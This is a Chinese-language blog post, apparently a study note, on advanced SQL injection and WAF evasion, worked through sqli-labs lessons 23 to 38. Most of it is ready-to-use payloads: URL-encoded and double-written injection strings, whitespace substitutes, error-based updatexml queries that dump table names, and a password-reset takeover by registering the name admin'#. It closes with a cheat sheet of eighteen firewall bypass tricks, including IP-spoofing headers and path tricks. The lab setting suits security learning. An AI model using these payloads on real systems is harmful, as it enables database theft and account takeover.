★SQL注入漏洞(7)SQL注入高级篇

分析目标防火墙并且跳过
1.直接拉黑ip类防火墙
2.过滤删除相应字符的防火墙
1.waf注释符号过滤
例题:Sqli-labs T23  
特点: 注释符  --+  #  被过滤掉了  绕过方法: 逻辑上补全闭合即可  
多加一次url编码只是更安全的绕过
select * from users where id = '' limit 0,1
select * from users where id = ' -1' union select 1,2,'3 ' limit 0,1
-1' union select 1,database(),'3
?id=1'      
?id=1%27    //单引号进行url编码后会变成%27
原理:
大部分网站的get请求最后送到服务器上都会进行url编码
而过滤的过程会通过类似于if语句先进行对比替换判断等操作之后才会进行编码。所以可以人为先编码 这样既可以避免服务器进行编码 也可以绕过部分防火墙的检测
PHP语言写的过滤语句一般只会去逐字比对判断 不会进行编码判断
//必要的时候进行全部的url编码
?id=2' or '1'='1    //对红字部分进行url编码
?id=2%27%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1   //对红色的部分进行url编码即可
?id=-2%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1
2.密码重置越权 (越权漏洞)
例题:Sqli-labs中的T24  密码重置
//当可以注册用户的时候,我们思考一下能不能通过修改自己的密码去修改别人的密码
$new_pass1 = $_POST['new_pass1'];
$new_pass2 = $_POST['new_pass2'];
if($new_pass1 == $new_pass2){
    update users set password='$new_password1' where username='$user' and password='$old_pass';
}
可以尝试新注册一个用户名字叫 admin' # 密码随便
之后登录相应的账户 成功登录admin' # 这个账户
之后进行修改密码 把新的密码改成999  这个时候被修改密码的账户是admin账户
update users set password='123' where username=' admin'# ' and password='$old_pass';
之后登录账户 admin  密码为999 登录成功 实现了越权修改密码这个操作
sqli-labs T25  屏蔽了and or  单引号闭合
or
/*!or*/
尝试order by  发现结果是der 说明防火墙是直接删除了or 可以尝试双写绕过
防火墙:replace类型 找到直接替换为空
绕过方法1 双写绕过: id=2' aandnd 1=1 --+
replace('or','')
绕过尝试2:大小写绕过 失败了 说明防火墙也是大小写敏感
有的防火墙会先把内容都转成小写 再进行判断
and和or还可以使用  &&  ||  替代   不过这题&&也被屏蔽了  还可以尝试对&&先进行url编码再提交
id=2' || 1=1 --+
id=2' %26%26 1=1 --+
id=2' aANDnd 1=1 --+
id=2' && 1=1 --+
id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
$url1=urldecode($url)
$url2=$url1.replace
如果防火墙先解码然后去验证的话  那我们可以尝试两次编码然后提交去绕过相应的防火墙
3.waf屏蔽空格
过滤内容:反斜杠  or  and 空格  --+等注释符
情况:屏蔽 or and 空格  --+ #  /**/
代替 空格的东西:
%09 平台tab键
%0a 新建一行
%0c 新建一页
%0d 回车键
%0b 垂直tab键
%a0 也可以是空格键(大多数情况下用)
数据库报错问题屏蔽了 - (减号)  可以使用 id=0   id=2000000000
例题 sqli-labs中的 T26
id=2000000' union select 1,2,3||'1
id=2000000%27%0bunion%0bselect%0b1,2,3||%271
&&进行url编码提交 发现成功 所以url编码不会被过滤
?id=1' order by 3 %26%26 '1   //or被屏蔽 且or大小写绕过失败 双写嵌套绕过成功
?id=1' oorrder by 3 %26%26 '1  //空格需要替代
?id=1'%a0oorder%a0by%a03%a0%26%26%a0'1
?id=1'%odoorrder%0dby%0d3%0d%26%26%0d'1
?id=100000' union select 1,2,3 || '1
http://127.0.0.1/sqli-labs/Less-26/?id=1'%0doorrder%0dby%0d3%0d%26%26%0d'1
http://127.0.0.1/sqli-labs/Less-26/?id=1'%a0oorrder%a0by%a02%a0%26%26%a0'1
id=1'
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
http://127.0.0.1/sqli-labs/Less-26/?id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
4.union select屏蔽
例题:sqli-labs中的T27  (T28类似)这题屏蔽了减号(注释符),屏蔽了union select,屏蔽了空格
//可以大小写翻转 php本身是大小写敏感的 修复方式:先对输入的内容进行小写转换 然后再进行判断
?id=2' or '1'='1   //发现空格没有了
?id=2000'%0bunion%0bselect%0b1,database(),3%0b||%0b'1
?id=2000'%0buNion%0bseLEct%0b1,database(),3%0b||%0b'1
127.0.0.1/sqli-labs/Less-27/?id=200000'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1
屏蔽了 --+  空格也被屏蔽了 减号也被屏蔽
id=1000000000' union select 1,2,3 or '1'='1   //union select也被屏蔽了
id=1000000000' uNion sElect 1,2,3 or '1'='1  
id=1000000000'%0buNion%0bsElect%0b1,2,3%0bor%0b'1'='1
sqli-labs的T29 30 31不是php写的 不具体展开
t32-t33 宽字节注入 sql注入大纲中详细介绍了 这里不多赘述
会自己加转义字符
if '\' in url:
    www.xx.com/index.php?id='2\\'
t34 POST下的宽字节 详情见POST注入部分 这里不多赘述
t35和34类似 
t36 37都是
t38 堆叠注入 可以在专题查看 这里不多赘述
奇淫巧技:
1.大小写绕过
UniOn SelEct
2.双写绕过
union selselectect
3.编码绕过 //直接对内容进行Hex编码 也就是十六进制编码 而且十六进制可以不用加引号
'security' == 0x7365637572697479
4.注释符(防火墙不会认为这是union select 但是解析的时候会变成union select)
un/**/ion sel/**/ect
5.空格绕过
具体绕过方法查看如上第三个即可
6.or and绕过
and == &&
or  == ||
7.宽字节绕过 %df%27这种
8.内联函数(即使被注释了 本身在数据库里面也可以被执行)
/*!select*/ 1,2,3    ?
/!*select*/ 1,2,3    ?
9.<>绕过
un<>ion sel<>ect
10.逗号的屏蔽
select substr("security",1,3);
select substr("security" from 1 for 3);  //用from for语句替代逗号
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)c;
limit 0,1
limit 0 offset 1
11.sleep屏蔽
and sleep(1)
and benchmark(10000000000,1)
12.group_concat屏蔽
select group_concat('x','y');
select concat_ws('','x','y');
13.等号=屏蔽
使用like rlike regexp <>
id=1' or '1'='1
id=1' or '1' like '1
id=1' or '1' rlike '1
id=1' or '1' regexp '1
id=1' or '1' <> '1
14.POST下屏蔽#注释符
-- a    //减号减号空格a也可以被当作注释符 大部分情况是用来替代空格使用
uname=admin -- a&&passwd=admin   
15.特殊符号过waf
/*! 50001 select * from users */
这里的500001表示的是如果数据库的版本是5.00.01以上的版本 这个语句才会被执行 (已经没有5.00.01以上的版本了 所以一定会执行)
但是防火墙会认为这个是注释 所以可以实现绕过
16.ip地址拦截 (都是在burp的数据包里面的)
x-forward-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip
17.修改资源  已经找到了问题网页 但是防火墙不允许访问的情况
http://www.xx.com/sql.php?id=1
http://www.xx.com/sql.php/1.js?id=1
18.url白名单 (已经不好用了)
大多数情况下防火墙内置的白名单有一个列表 屏蔽admin manager system
www.xx.com/admin/admin.php  这种地址防火墙不允许直接在url上访问
www.xx.com/sql.php/admin.php?id=1
www.xx.com/../../../../../sql.php/../../../sql.php/admin.php?id=1
19.
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值